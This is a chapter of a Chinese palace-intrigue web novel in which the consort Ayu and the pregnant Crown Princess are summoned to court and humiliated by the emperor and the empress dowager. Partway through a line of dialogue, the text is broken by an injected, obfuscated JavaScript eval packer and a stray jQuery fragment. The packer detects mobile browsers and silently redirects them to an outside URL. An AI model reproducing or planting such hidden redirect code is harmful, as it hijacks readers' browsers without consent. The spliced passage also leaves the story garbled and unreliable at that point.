42. 练兵
作品:《雌鸟》 赵延那边催促得急,话里话外还表露出承安帝让东宫女眷入宫长住得意思,阿玉赶忙与应绮一起收拾行装。
宫中只允许作为侧妃的阿玉携带一名宫女,她便只点了大宫女应绮随行。
与栖鸾殿中其他宫人道别时,阿玉心中忽而突突跳起来,总觉得此道入宫谕令来者不善。
内廷只会比东宫的防卫更加密不透风,逃离计划只能等待来日。
阿玉还记得裴臻昨夜临行前的嘱托,将制作香囊的工具一并放入行囊中。
准备就绪后踏出殿外,只见一辆形容瑰丽的马车停在门口,赵延手持浮尘立于车厢旁,严凤霄身边的阿梧和阿慧则站在马车后面。
年关刚过,天气尚未回温。承安帝到底在意皇孙,顾及太子妃有孕在身,给批了车驾。
赵延仍旧用鼻孔看阿玉,斜目趾高气扬道:“孙侧妃,原本您也该步行入宫的,得亏太子妃着您上去伺候。”
“是。”阿玉低眉顺目地应道,给足了赵延面子。
赵延轻哼一声,为阿玉掀起车帘。
宽敞的车厢中置着充足的暖炉,车帘一经掀开便有暖意倾泻而来。
严凤霄面无表情地端坐在车厢中,见到阿玉时只略微抬眼,言辞不耐道:“还不赶紧上来。”
见此,阿玉微微怔神,动作却未有迟疑。她再度应了声“是”,踩着马凳步入车厢。
马车平缓地前行,空旷精致的车厢内只有阿玉与严凤霄二人对坐。
阿玉上车后严凤霄就不再开口,阖着双目闭目养神,留阿玉琢磨不透她的心思,时不时偷偷看她。
习武之人即使闭目也对周遭环境极为敏感,严凤霄感受到阿玉的视线,不动声色地开口:“本宫头上的珠钗有些乱了,你替本宫理理。”
阿玉依言起身,可左看右看又看没看出哪里有问题,忽然福至心头。
联想到今日严凤霄种种奇怪的态度,阿玉猜她或许有话要说,不禁弯下身子又凑近了些。
果不其然,严凤霄攥住阿玉的手,在她耳边轻声道:“防止意外发生,你得跟在我身边,一步也不能离开。”
末了,那双明亮迥然的双眸睁开,定定扫向阿玉,仿佛在用眼神说“别怕”。
阿玉怔愣于这趟入宫之旅的种种未知险局,却下意识信任地点点头。
“好了,笨手笨脚的。”严凤霄继续不耐烦道。
她的语气那样生硬,但阿玉觉得心中的不安也被抚平了些,唇边扬起笑容,柔声道:“娘娘,妾身为你添些热水。”
***
口谕说是差东宫女眷前往庆寿宫侍奉太后,马车却停在了太微宫门口。
承安帝前些日子一直待在承德殿,熬过最初被迫卸权的憋闷,日日靠着宋仁进献的丹药,倒也过得声色犬马。
无处释放权力的帝王干脆将章太后也接到承德殿,命后妃直接来自己的住处晨昏定醒,每天变着花样指使她们献艺,连王皇后也不能幸免。
今日裴臻离开都城前往西北,承安帝终于又能理直气壮地重回太微宫,虽然朝政仍被裴臻留下的布置严格把持,可宫中还是他的天下。
“娘娘们,请。”马车停稳,赵延掀开车帘。
离了车厢,丝竹乐声愈发扑面而来,阿玉一时不知今夕何时。边疆起了战事,一国之君竟还在宫中大摆筵席,简直荒诞。
心中愤懑,阿玉面上却是不显,在严凤霄的指令下一路小心搀扶着她步入太微宫。
入目的画面更加令阿玉震惊,只见承安帝与章太后高坐在上首位置,而王皇后正在一旁抚琴,梁贵妃则和着琴声于殿中起舞。
除待产的宜妃不在,宫中其余大小妃嫔跪满一地。
“儿臣给父皇,皇祖母请安。”
“臣妾给陛下,太后娘娘请安。”
阿玉与严凤霄共同给承安帝及章太后请安,恰逢一曲毕了,承安帝摆摆手,漫不经心道:“起来吧,给太子妃准备把椅子,下一个。”
下一个?阿玉扶着严凤霄去一旁坐下,站在她身后不禁疑惑。
很快,另一名妃嫔便给了她答案。
梁贵妃回到众妃嫔跪着的地方,恭顺地跪在首位,她身后的德妃起身来到殿中,王皇后再次拨动琴弦,琴音响起,舞步翩翩。
整个上午,太微宫中都在上演这出妃嫔轮番献艺的戏码。
承安帝没怎么管阿玉与严凤霄,原本也只是让人入宫做个人质。倒是苦了王皇后,硬生生弹奏了整个上午的琴,手指隐隐渗出血珠。
“还敢对朕不敬吗?”离去前,承安帝冷冷对王皇后道。
“不敢,臣妾知错。”王皇后低着头,声音沙哑道。
原本王皇后也是坐在上首观看妃嫔献艺的人,可就在前日,她忍不住开口劝阻。
平时唯唯诺诺的皇后在刚刚失去权柄不久的时候忤逆,承安帝不得不多想,于是折腾得她最狠,好叫她知道违逆他的下场。
今日王皇后嗓音沙哑,全因昨日被勒令唱了一上午的曲。
***
承安帝自行前往即将临盆的宜妃宫中用膳,留下章太后主持大局。
有其子便有其母,章太后与承安帝如出一辙,最喜折腾后妃,她扫了眼仍跪在地上的后妃,淡淡道:“今日太子妃入宫,你们也留下一道用膳吧。”
紧接着她的目光扫向阿玉,施恩般开口:“孙侧妃,听说你很会侍奉人,那就你来给哀家布菜吧。”
这番话很羞辱人了,阿玉却只能答应,她低着头刚准备应声,却被下方严凤霄的声音打断。
“皇祖母,妾身习惯让侧妃布菜了,您就让让妾身吧。”严凤霄发出阿玉从未听过的娇滴滴的声音,语气中还拿捏了一股想要好生为难阿玉的劲儿。
在场者皆听闻过太子极为宠爱侧妃的传闻,都道是太子妃要亲自搓磨侧妃,有人准备看好戏,也有人将同情的目光投向她。
章太后闻言笑着点头答应,顺带警告阿玉:“哀家准了。孙侧妃,这里不是东宫,臻儿不在这里,无人会偏袒你。务必好生伺候太子妃,听明白了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150764|159671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”
倒不是章太后多喜欢严凤霄,实在是因为太过期待她腹中的孩儿,章太后觉得严凤霄腹中的一定是个小皇孙。
“本宫不欲动筷,你喂本宫。”膳食依次摆满长桌,严凤霄于席间骄矜道。
阿玉夹起一筷子她平素爱吃的荤食,耐心道:“娘娘,请用。”
“好咸,这道菜本宫不要了,都赏你了。”严凤霄满脸不快,施舍般道。
“是。”
“这道也不合本宫胃口,都给你。”
“谢太子妃。”
“真是笨手笨脚,看来本宫还需再调教调教你。”
……
午膳几乎都是严凤霄与阿玉在说话,严凤霄发怒,阿玉应声,看得众妃嫔目瞪口呆。
章太后在首坐却满意地点头;“太子妃御下有道,这便是大妇风范。”
在座的其他宫妃不禁心中唏嘘,谁人不知章太后曾经只是徒有美貌的低位妃嫔,想来也没少挨过搓磨,如今风水轮流转,倒是成为那个乐得搓磨人的了。
“儿郎们在外打仗,你们一群四体不勤的却天天享乐。哀家与皇帝也是看不下去,才叫你们前来侍奉。”用完膳,章太后擦拭唇角,进行每日必要上演的训话。
阿玉在心中暗道:又将女子拘在后院,又怪罪女子不出去干实事,到底是哪门子强盗道理?
真叫女子生出离开家门奔赴战场的心,怕不是《女德》《女戒》立刻就会砸过去。
严凤霄不知阿玉心中所想与她落到一处,听到章太后的话不由勾唇一笑:“皇祖母,儿臣随父亲观过不少将士练兵的场面,歌舞比起来,真是要省上不少力气。”
刚听到严凤霄说起她在西北的往事,章太后下意识是不喜的,毕竟军中男子多,曲城中哪个姑娘会将军中事挂在嘴边,但到底在乎她腹中的孩儿,心中又隐秘地升起一丝对未知世界的好奇。
她示意严凤霄继续讲下去:“哦?”
“皇祖母,就方才诸位娘娘献艺的时候,也是西北军平时操练的时候。马步嘛,是最基本的,每人起码要扎上半个时辰。而后便是举石锁……”严凤霄饶有性质地向章太后说起练兵的事,当然,她根据实情修饰不少。
章太后听得津津有味,严凤霄适时话锋一转,叹气道:“比起军中将士,儿臣自觉实在轻松了些,内心难安。”
“你有身孕在身,是我大魏功臣,与旁人不同。”章太后心中生出了新的成算,紧接着道:“太子妃有心,尔等可觉得心中有愧?”
浑浊的目光生起凌厉,章太后率先望向王皇后:“王氏,你远不及太子妃。这几日哀家看腻了歌舞,明日起尔等便学习西北将士,操练起来。人不在战场,心却得在。”
“皇祖母英明。”严凤霄含笑恭维,继而转头看站在身侧的阿玉,冷下嗓音:“侧妃在东宫中,也是这般受妾身教诲的,如今虽然人笨了些,却愈发乖觉,侧妃你说是不是?”
阿玉乖巧地点头。虽然不知严凤霄想做什么,但她好像有些本能地信任她。